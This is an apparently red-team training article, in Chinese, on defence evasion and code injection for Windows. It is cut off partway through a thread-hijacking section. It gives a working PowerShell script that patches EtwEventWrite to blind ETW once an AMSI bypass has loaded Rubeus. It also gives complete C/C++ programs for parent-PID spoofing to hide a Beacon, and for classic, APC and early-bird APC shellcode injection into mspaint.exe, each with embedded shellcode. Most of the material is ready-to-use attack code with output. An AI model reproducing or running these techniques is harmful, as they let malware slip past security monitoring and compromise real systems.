[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/HZHrVBPLve2CJ83F-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/HZHrVBPLve2CJ83F-image.png)

在继续 ETW 的话题之前，如果你们好奇为什么使用攻击 AmsiInitialize 或者 AmsiOpenSession 的载荷不管用，我们跑个题来分析一下。使用 WinDBG 给 PowerShell.exe 进程设置 4 个断点：

```
amsi!AmsiInitialize
amsi!AmsiOpenSession
amsi!AmsiScanBuffer
clr!AmsiScan
```

输入恶意字符串 "invoke-mimikatz" 之后，AmsiOpenSession 与 AmsiScanbuffer 断点分别被触发，但 AmsiInitialize 与 AmsiScan 并没有。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Jk66eAOWRFvABLE6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Jk66eAOWRFvABLE6-image.png)

如果执行 **\[System.Reflection.Assembly\]::Load()** 命令，我们会发现前 2 个触发的断点是一致的，都是对 PowerShell 脚本块的扫描。而后面触发的 AmsiInitialize 与 AmsiScan 断点证明了是对内存中 .NET 组件的单独扫描。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/75jgj6vWsSnIiLOS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/75jgj6vWsSnIiLOS-image.png)

查看 **clr.dll** 中的 **AmsiScan** 函数，我们发现 AmsiInitialize 与 AmsiScan 有被调用，而 AmsiOpenSession 并没有。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/sCza5HKBuTFLrbaB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/sCza5HKBuTFLrbaB-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tq6hlxL6jIUocFNW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tq6hlxL6jIUocFNW-image.png)

总之就是，补丁 AmsiInitialize 的单行载荷无效是因为该载荷是通过更改 **System.Management.Automation** 命名空间的子值来实现的，而该命名空间是 PowerShell 的根命名空间，自然与 .NET 组件的 AMSI 扫描无关。而 AmsiOpenSession 并没有在 AmsiScan 中被调用。

总之，绕过 AMSI 并将 Rubeus 加载到内存中之后，会有什么其他 IoC 呢？使用 **ProcessHacker** 查看当前的 PowerShell.exe 进程，我们发现 **.NET assemblies** 页面中能看到 Rubeus 的明文，这就是 ETW 直观的作用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yJKghgUGW94Yvt3S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yJKghgUGW94Yvt3S-image.png)

绕过 ETW 的方法与绕过 AMSI 较为相似，补丁 **ntdll.dll** 中的 **EtwEventWrite** 函数。

```c++
ULONG 
EVNTAPI
EtwEventWrite(
    __in REGHANDLE RegHandle,
    __in PCEVENT_DESCRIPTOR EventDescriptor,
    __in ULONG UserDataCount,
    __in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
    );
```

绕过 ETW 的 PowerShell 脚本如下：

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


[IntPtr]$funcAddr = LookupFunc ntdll.dll EtwEventWrite
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
```

在补丁 EtwEventWrite 函数之后，我们发现在 .NET assemblies 中便查看不到相关事件了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/YgbTs86CKlTsVpM0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/YgbTs86CKlTsVpM0-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/x1U4gCgayDXKKm9m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/x1U4gCgayDXKKm9m-image.png)

# 父进程欺骗

父进程欺骗是一种允许攻击者使用任意父进程启动程序的技术，这有助于使攻击者的程序看起来是由另一个进程生成的，有助于规避基于父子进程关系的检测，尤其是当我们的 Beacon 在非常规的进程下运行，进程的创建事件会引发警告。  
默认情况下，交互式用户启动的大多数程序都将为 explorer.exe 的子进程。

父进程欺骗可以由以下步骤实现：

指定父进程的名称或者 PID。这里，我们是指定的名称，如果相同名称的进程存在多个实例，那么取第一个。这里用到 **CreateToolhelp32Snapshot** 函数，用于创建给定进程的快照。

```c++
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
```

**TH32CS\_SNAPPROCESS** 常数表示包含系统的所有进程。然后通过 **Process32First** 函数来枚举进程。

```c++
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);
```

逐一比较进程名称，如果找到，返回第一个实例的 PID。这部分的代码如下：

```c++
DWORD FindExplorerProcessId()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32))
        {
            do
            {
                if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
                {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID; // Returns the first instance's PID
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return 0;
}
```

一切顺利的话，我们会获得父进程的 PID，通过 OpenProcess 函数获得其句柄。

```c++
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
```

结构体 **STARTUPINFOEX** 有着 **lpAttributeList** 成员，得以让我们传递**额外的属性**给 **CreateProcess** 函数调用。

```c++
typedef struct _STARTUPINFOEXW {
  STARTUPINFOW                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXW, *LPSTARTUPINFOEXW;
```

为了实现父进程伪造，该属性应当为 **PROC\_THREAD\_ATTRIBUTE\_PARENT\_PROCESS**。

```c++
BOOL InitializeProcThreadAttributeList(
  [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwAttributeCount,
                  DWORD                        dwFlags,
  [in, out]       PSIZE_T                      lpSize
);
```

第一次调用 **InitializeProcThreadAttributeList** 函数，设置参数 **lpAttributeList** 为 **NULL**，这会让我们获得**属性列表**的**正确尺寸**。

```c++
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
```

然后，尺寸被保存在 **attributeSize** 变量中。为 **LPPROC\_THREAD\_ATTRIBUTE\_LIST** 数据 (lpAttributeList 指针所指向)分配空间，然后再次调用 **InitializeProcThreadAttributeList** 函数来初始化进程的属性列表。

```c++
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
```

有了父进程的句柄，然后调用 UpdateProcThreadAttribute 函数更新属性列表。函数原型如下：

```c++
BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwFlags,
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,
  [in]            SIZE_T                       cbSize,
  [out, optional] PVOID                        lpPreviousValue,
  [in, optional]  PSIZE_T                      lpReturnSize
);
```

创建更新了属性列表之后的进程，**dwCreationFlags** 设置为 **EXTENDED\_STARTUPINFO\_PRESENT**。

```c++
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
```

最终代码如下：

```c++
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD FindExplorerProcessId()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32))
        {
            do
            {
                if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
                {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID; // Returns the first instance's PID
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return 0;
}



int main()
{
    DWORD pid = FindExplorerProcessId();
    if (pid != 0)
    {
        printf("The PID of the first instance of explorer.exe: %lu\n", pid);
    }
    else
    {
        printf("explorer.exe is not running.\n");
    }

	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
}
```

查看当前的 **explorer.exe** 进程，有着诸多子进程，包括即将运行该程序的 cmd.exe。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ECXPmIFnppEI7nb3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ECXPmIFnppEI7nb3-image.png)

如果没有父进程欺骗，那么进程树的关系应该是 **explorer.exe -&gt; cmd.exe -&gt; ppid\_spoofing.exe -&gt; mspaint.exe**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yE0SR5jQoOdL1RJF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yE0SR5jQoOdL1RJF-image.png)

我们看到，程序得以正确运行，mspaint.exe 成了 explorer.exe 的直接子进程。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6HneAwnynrqpSYou-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6HneAwnynrqpSYou-image.png)

# 沙箱检测

#### **延迟加载**

#### **判断 Debugging 环境**

#### **硬件特征**

#### **域与用户名**

# 代码注入与进程操纵

代码注入是一项恶意软件的常见技术，将恶意代码，如 shellcode，乃至 PE 文件，输入到目标进程，实现提高稳定性以及寄居在看起来良性的进程之中以规避检测。

代码注入的方法有很多，有着各自的优缺点，以及所需的 API 组合，我们接下来一起看看一些常见和先进的技术。

### **代码注入**

#### **经典进程注入**

首先我们要说的是经典的进程注入。步骤有以下这些：

根据我们需要，通过 PID 或者进程名来指定要注入的进程，我们需要用到 **CreateToolhelp32Snapshot** 函数创建进程列表的快照。

```c
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
```

配合 **Process32First** 与 **Process32Next** 逐个进程枚举，以找到进程名匹配的并返回 PID。

```c
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

BOOL Process32Next(
  [in]  HANDLE           hSnapshot,
  [out] LPPROCESSENTRY32 lppe
);
```

通过 **OpenProcess** 获得指定进程的句柄，用 **VirtualAllocEx** 为远程进程分配空间。

```c
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

接着，使用 **WriteProcessMemory** 为分配的空间写入 shellcode。

```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

之后，使用 **CreateRemoteThread** 函数创建远程的线程。

```c
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

代码如下：

```c
#include "Windows.h"
#include <stdio.h>
#include <TlHelp32.h>

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    HANDLE processHandle;
    HANDLE remoteThread;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1;
    }

    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    if (!Process32First(snapshot, &processEntry)) {
        printf("Process32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    while (TRUE) {
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
            processFound = TRUE;
            break;
        }
        if (!Process32Next(snapshot, &processEntry)) {
            if (GetLastError() != ERROR_NO_MORE_FILES) {
                printf("Process32Next failed. Error: %lu\n", GetLastError());
            }
            break;
        }
    }

    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }

    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (processHandle == NULL) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }

    PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    if (remoteBuffer == NULL) {
        printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
        return 1;
    }

    SIZE_T bytesWritten;
    if (!WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), &bytesWritten)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }

    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (remoteThread == NULL) {
        printf("CreateRemoteThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Injection successful.\n");
    return 0;
}

```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/sK68m8otmkvnMOq2-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/sK68m8otmkvnMOq2-image.png)

#### **APC 队列注入**

异步过程调用 (APC) 是 Windows 操作系统提供的一种机制，允许程序异步执行任务，从而促进程序内的并发操作。 它们在特定线程的上下文中作为**内核模式例程**执行，从而实现任务执行与主程序流的分离。这种机制对于需要执行后台任务同时继续其他操作的程序特别有用。

进程中的每个线程都有自己的 APC 队列，其中可以存储 APC，等待执行。应用程序可以利用 **QueueUserAPC** 函数将 APC 排队到特定线程，需要将 APC 函数的地址作为参数传递。该函数允许调用者指定 APC 应该排队的线程。

```c
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);
```

然而，并非所有线程都能够立即执行排队的 APC。 只有处于**可警报状态**(一种特殊的等待状态) 的线程才能处理排队的 APC 函数。当线程进入可警报状态时，它会被添加到可警报线程队列中，使其有资格运行 APC。

APC 注入是一种利用此机制的进程注入技术，它涉及对 APC 进行排队，以便在另一个线程的上下文中异步执行载荷。为了实现这一点，注入的 shellcode 的地址被传递给 QueueUserAPC 函数，目的是当线程进入可警报状态时执行它，例如当它处于**睡眠模式**或**等待事件**时(如使用 SleepEx)。

使用此注入技术的限制之一是攻击者无法直接强制目标线程立即执行注入的代码。APC 注入的成功取决于目标线程进入可警报状态，这可能需要满足特定条件或在受害者系统上执行操作。尽管存在这种限制，APC 注入仍然是在另一个进程的上下文中执行恶意代码的有效技术。

知道相关的背景知识后，我们来看一下 APC 注入所需的步骤。

1. 给定进程名，返回第一个找到的进程的 PID，使用的是 CreateToolhelp32Snapshot，Process32First 以及 Process32Next 函数。
2. 使用 OpenProcess 根据 PID 获得目标进程的句柄，调用 VirtualAllocEx 为其分配写入 shellcode 的内存空间。
3. 让 APC 函数指向分配的空间(之后写入shellcode)，使用 WriteProcessMemory 向分配的空间写入 shellcode。
4. 使用 Thread32First 逐个枚举进程里的线程，对于每个线程，使用 **OpenThread** 获得句柄并调用 QueueUserAPC 将 APC 排队到线程中。
5. 当目标进程中的线程被调度时，我们的 shellcode 就会被执行

```c
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
#include <stdlib.h> 

int main() {
    unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1;
    }

    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    DWORD threadIds[1024];
    int threadCount = 0;
    SIZE_T shellSize = sizeof(shellcode);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0 && Process32Next(snapshot, &processEntry));
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0) {
            printf("Failed to find explorer.exe.\n");
            return 1;
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (!victimProcess) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }

    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!shellAddress) {
        printf("Failed to allocate memory in target process. Error: %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
        printf("Failed to write shellcode to target process. Error: %lu\n", GetLastError());
        return 1;
    }

    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                if (threadCount < 1024) {
                    threadIds[threadCount++] = threadEntry.th32ThreadID;
                }
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (int i = 0; i < threadCount; i++) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadIds[i]);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        Sleep(2000); 
    }

    return 0;
}
```

在等待一小段时间之后，shellcode 便被执行了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/Mhu6P7P9kGZPai12-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/Mhu6P7P9kGZPai12-image.png)

#### **早鸟 APC 队列注入**

APC 进程注入需要**挂起**或**可警报**线程才能成功执行 shellcode。但是，很难遇到处于这些状态的线程，尤其是在正常用户权限下运行的线程。解决方案的话，是使用 **CreateProcessA** 创建一个**挂起**的进程，并使用其挂起线程的句柄。挂起的线程满足 APC 进程注入中使用的标准。这种方法被称为**早鸟 APC 队列注入**。与常规 APC 队列注入技术相比，该技术的主要优点之一是，在早鸟技术中，恶意行为发生在进程初始化阶段的早期，降低了被安全产品检测的可能性。

早鸟 APC 队列注入的步骤如下：

1. 创建一个挂起的进程，通过调用 CreateProcessA 函数并指定进程的状态为 **CREATE\_SUSPENDED**
2. 使用 VirtualAllocEx 为该进程分配空间
3. 使 APC 例程指向分配的内存
4. 通过调用 WriteProcessMemory 函数将 shellcode 写入分配的内存中
5. 调用 QueueUserAPC 函数将 APC 排队到主线程
6. 调用 **ResumeThread** 继续线程的运行，shellcode 得以执行

```c
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ntdll")

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    SIZE_T shellSize = sizeof(shellcode);
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    if (!CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed with error %lu\n", GetLastError());
        return 1;
    }

    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellAddress == NULL) {
        printf("VirtualAllocEx failed with error %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
        printf("WriteProcessMemory failed with error %lu\n", GetLastError());
        return 1;
    }

    if (QueueUserAPC((PAPCFUNC)shellAddress, threadHandle, NULL) == 0) {
        printf("QueueUserAPC failed with error %lu\n", GetLastError());
        return 1;
    }

    if (ResumeThread(threadHandle) == (DWORD)-1) {
        printf("ResumeThread failed with error %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injected successfully.\n");
    CloseHandle(threadHandle);
    CloseHandle(victimProcess);

    return 0;
}

```

这样，我们便成功执行了 shellcode：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/k9UVVm4KJ2mqKale-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/k9UVVm4KJ2mqKale-image.png)

#### **线程劫持**

进程线程劫持是一种不创建新的线程便能执行 shellcode 的代码注入技术，通过挂起线程并更新 **RIP** 的指向实现。这样，当线程继续执行时，指令执行流程便跳转到了 shellcode 的开头。

实现线程劫持，有如下的步骤：

1. 指定 PID 或者进程名，并用 OpenProcess 获得目标进程的句柄
2. 使用 VirtualAllocEx 为目标进程分配空间用于存储 shellcode
3. 使用 WriteProcessMemory 将 shellcode 写入分配空间内
4. 指定线程 ID，并获得其句柄。这里，我们通过 CreateToolhelp32Snapshot，Thread32First，Thread32Next 等函数获得第一个找到的线程
5. 通过 OpenThread 获得对该线程的句柄，并调用 SuspendThread 函数挂起线程
6. 通过 **GetThreadContext** 获得上下文结构体，修改 **RIP** 地址使其指向 shellcode
7. 使用 **SetThreadContext** 更改上下文结构体，并通过 ResumeThread 继续线程的执行

除了之前我们提到过以及与之相似的 API，我们来聊一聊线程的上下文。GetThreadContext 与 SetThreadConext 分别用于获得与提交线程的上下文。线程上下文包含了线程继续执行所需的各种信息。

```c
BOOL GetThreadContext(
  [in]      HANDLE    hThread,
  [in, out] LPCONTEXT lpContext
);

BOOL SetThreadContext(
  [in] HANDLE        hThread,
  [in] const CONTEXT *lpContext
);
```

**上下文结构体** CONTEXT 包含了处理器特定的寄存器数据。系统使用上下文结构体来执行各种内部的操作：

```c
typedef struct _CONTEXT {
  DWORD64 P1Home;
  DWORD64 P2Home;
  DWORD64 P3Home;
  DWORD64 P4Home;
  DWORD64 P5Home;
  DWORD64 P6Home;
  DWORD   ContextFlags;
  DWORD   MxCsr;
  WORD    SegCs;
  WORD    SegDs;
  WORD    SegEs;
  WORD    SegFs;
  WORD    SegGs;
  WORD    SegSs;
  DWORD   EFlags;
  DWORD64 Dr0;
  DWORD64 Dr1;
  DWORD64 Dr2;
  DWORD64 Dr3;
  DWORD64 Dr6;
  DWORD64 Dr7;
  DWORD64 Rax;
  DWORD64 Rcx;
  DWORD64 Rdx;
  DWORD64 Rbx;
  DWORD64 Rsp;
  DWORD64 Rbp;
  DWORD64 Rsi;
  DWORD64 Rdi;
  DWORD64 R8;
  DWORD64 R9;
  DWORD64 R10;
  DWORD64 R11;
  DWORD64 R12;
  DWORD64 R13;
  DWORD64 R14;
  DWORD64 R15;
  DWORD64 Rip;
  union {
    XMM_SAVE_AREA32 FltSave;
    NEON128         Q[16];
    ULONGLONG       D[32];
    struct {
      M128A Header[2];
